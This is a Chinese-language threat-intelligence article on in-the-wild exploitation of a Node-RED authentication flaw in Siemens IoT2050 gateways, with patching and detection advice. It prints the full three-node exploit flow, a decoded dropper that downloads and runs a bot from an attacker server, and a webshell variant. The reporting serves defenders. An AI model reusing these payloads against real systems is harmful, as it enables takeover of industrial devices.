Node-RED CVE-2026-58115 在野利用：西门子 IoT2050 工业网关被攻陷

导语：西门子 SIMATIC IoT2050 工业网关里预装的 Node-RED，管理接口默认不校验身份。10 月 30 日，VulnCheck 蜜罐拦下一个真实请求：三层 base64 编码的流程定义，一次性拉起 Linux 机器人，还留了重启后依然在的 Webshell。

一、工业网关里那个不设防的编辑器

Node-RED 是基于 Node.js 的低代码流程编程工具，浏览器里拖拽节点、连几根线就能拼出事件驱动的应用。它跑在树莓派上、跑在云上，也被塞进各种嵌入式设备，制造、医疗、OT 场景里用得不少。

这次出事的 CVE-2026-58115 是西门子 2026 年 8 月 11 日分配的编号（公告 SSA-834709），CVSS 4.0 直接给到 10.0 分。根因一句话说完：Node-RED 的 HTTP 接口没有强制认证，任何人只要能访问到这个接口，就能创建恶意流程，在底层服务器上以最高权限执行任意代码。

受影响的是 SIMATIC IoT2050 Advanced（6ES7647-0BA00-1YA2）工业网关——装着 Node-RED 的 Industrial OS，版本低于 V4.3.4.1 就中招。西门子的处置是两条：升到 4.3.4.1 以上，或者干脆卸掉 Node-RED；要留着就按官方三条加固——开 HTTPS、给编辑器和 admin API 上凭据认证（或 OAuth/OpenID）、给 HTTP 节点和 Dashboard 加 basic auth。

从补丁发布到在野利用隔了两个多月，工业设备升级慢就是这个节奏。

图：Node-RED 被未授权注入流程的路径（来源：The Hacker News）

二、三个节点，秒变键盘

10 月 30 日，VulnCheck 蜜罐抓到第一个请求。研究员 Patrick Garrity 的原话是：攻击者发来的是一套完整 exploit——部署流程、自动触发、从自己控制的服务器拉二进制，三层编码全包上。

之所以说这个洞”trivial to weaponize”，是因为 Node-RED 自带两个节点就够用：inject 节点能在启动时或定时触发一条消息，exec 节点负责执行 shell 命令。把前者连到后者，流程一部署完，命令自己就跑了，攻击者连回连都不用。

攻击者用一次 POST /flows 投递，请求体是三节点的流程定义：

{
  "flows": [
    {"id": "t", "type": "tab"},
    {"id": "inj", "type": "inject", "z": "t", "once": true, "onceDelay": "1", "wires": [["e"]]},
    {"id": "e", "type": "exec", "z": "t", "command": "echo <base64> | base64 -d | sh", "addpay": false, "useSpawn": "false", "wires": [[],[],[]]}
  ]
}

三层编码拆开看很清楚。第一层是流程 JSON；第二层是 shell 包装，base64 解出来直接 pipe 给 sh，请求体里根本搜不到 wget、curl 这类关键字，能躲掉不少朴素的内容检测；第三层才是真正的落地器。

解码后的命令是这样的：

wget -q -O /dev/shm/.b http://85.215.73[.]250:8080/bot-linux-amd64 
  || curl -s -L http://85.215.73[.]250:8080/bot-linux-amd64 -o /dev/shm/.b
chmod +x /dev/shm/.b
(setsid /dev/shm/.b >/dev/null 2>&1 || nohup /dev/shm/.b >/dev/null 2>&1 &)

wget 失败就换 curl，很多精简镜像容器只带其中一个；/dev/shm 是内存 tmpfs，落地文件不碰磁盘，普通 ls 看不见；setsid 或 nohup 让进程脱离 Node-RED 独立跑，输出全丢进 null。命令不检查下载是否成功，也不清理，跑一次就消失。

蜜罐回了标准响应：HTTP 200 加一个新的 flow 版本哈希。这正是被利用的实例会给出的回应，所以 VulnCheck 直接记成一次成功利用。

图：CVE-2026-58115 在野利用活动链路（来源：VulnCheck）

三、扫描器画像

攻击源 IP 是 4.201.105[.]116，落在 AS8075 也就是微软的网络里，地理定位到巴西。10 月 30 日到 11 月 1 日，它对这个 CVE 打了 16 次；同期 VulnCheck 更大范围的蜜罐数据里，同一地址对 8 个不同的 CVE 留下 125 次命中——Apache Solr 的 CVE-2019-17558、Camunda、Gitea、MLflow、Traefik、Joomla，再加上这个 Node-RED。

新老漏洞一起扫、产品横跨毫不相干，这是典型的机会主义批量扫描。至少五种 User-Agent（curl、python-requests、Python-urllib、浏览器串）说明这台机器上干活的不是一个手。云厂商地址段里的机器，多半是租来或已被打沦陷的虚拟主机，指望从 IP 反查身份基本没戏。

载荷服务器另外两个：85.215.73[.]250 的 8080 端口、45.194.90[.]57 的 38472 端口。下载主机和发起利用的主机不是同一台，典型的”扫描-投放”分工。

四、两天之内，攻击者换了三种打法

11 月 1 日的新一轮请求里，载荷开始变：

第一种改成分两段：先用 wget 把 wget.sh 拉到 /tmp/.s，再执行它。
第二种换服务器：从 45.194.90[.]57:38472 拉 .sys_update，存成 /tmp/.kworker——这名字看着像内核工作线程，然后用 nohup 跑起来。
第三种最省事：流程直接开一个 http in 端点（/cmd 或随机路径），串到 function 节点再到 exec 节点，把 addpay 打开。攻击者以后往查询参数里塞命令就能执行——这就是落成 Webshell 的后门。

差别很大：内存里的机器人重启就没了（除非它自己搞持久化），Webshell 写在磁盘上，重启还在。

得说清楚的是，VulnCheck 并没有把 bot-linux-amd64 和那几个脚本抓下来，还说不清它到底是挖矿木马、DDoS 机器人还是反弹 shell。

五、今天就该查的三件事

Node-RED 到底能不能从外网访问到，尤其是 OT 环境里默认 1880 端口的实例。这条最要紧，VulnCheck 原话就是”现在就去查”。

开 adminAuth，按西门子三条加固文档做，版本升到 4.3.4.1 以上，或者卸掉 Node-RED。

翻一遍已部署的流程，看有没有来路不明的 exec 节点和 http in 端点。这批攻击里有人留的是 Webshell 不是机器人，只查进程查不出来。

检测侧，VulnCheck 在 10 月 27 日就发布了 CVE-2026-58115 的初始访问检测包——利用 PoC、版本扫描脚本、PCAP、Suricata 和 Snort 规则、YARA 规则，还有 Shodan、Censys、GreyNoise、FOFA、ZoomEye 查询语句。主机侧顺手盯 /dev/shm 和 /tmp 下的隐藏文件，以及 setsid、nohup 拉起的陌生进程。

这个 CVE 已经被 VulnCheck 收进自己的已知在野利用目录（KEV），但截至发稿还没进 CISA 的 KEV。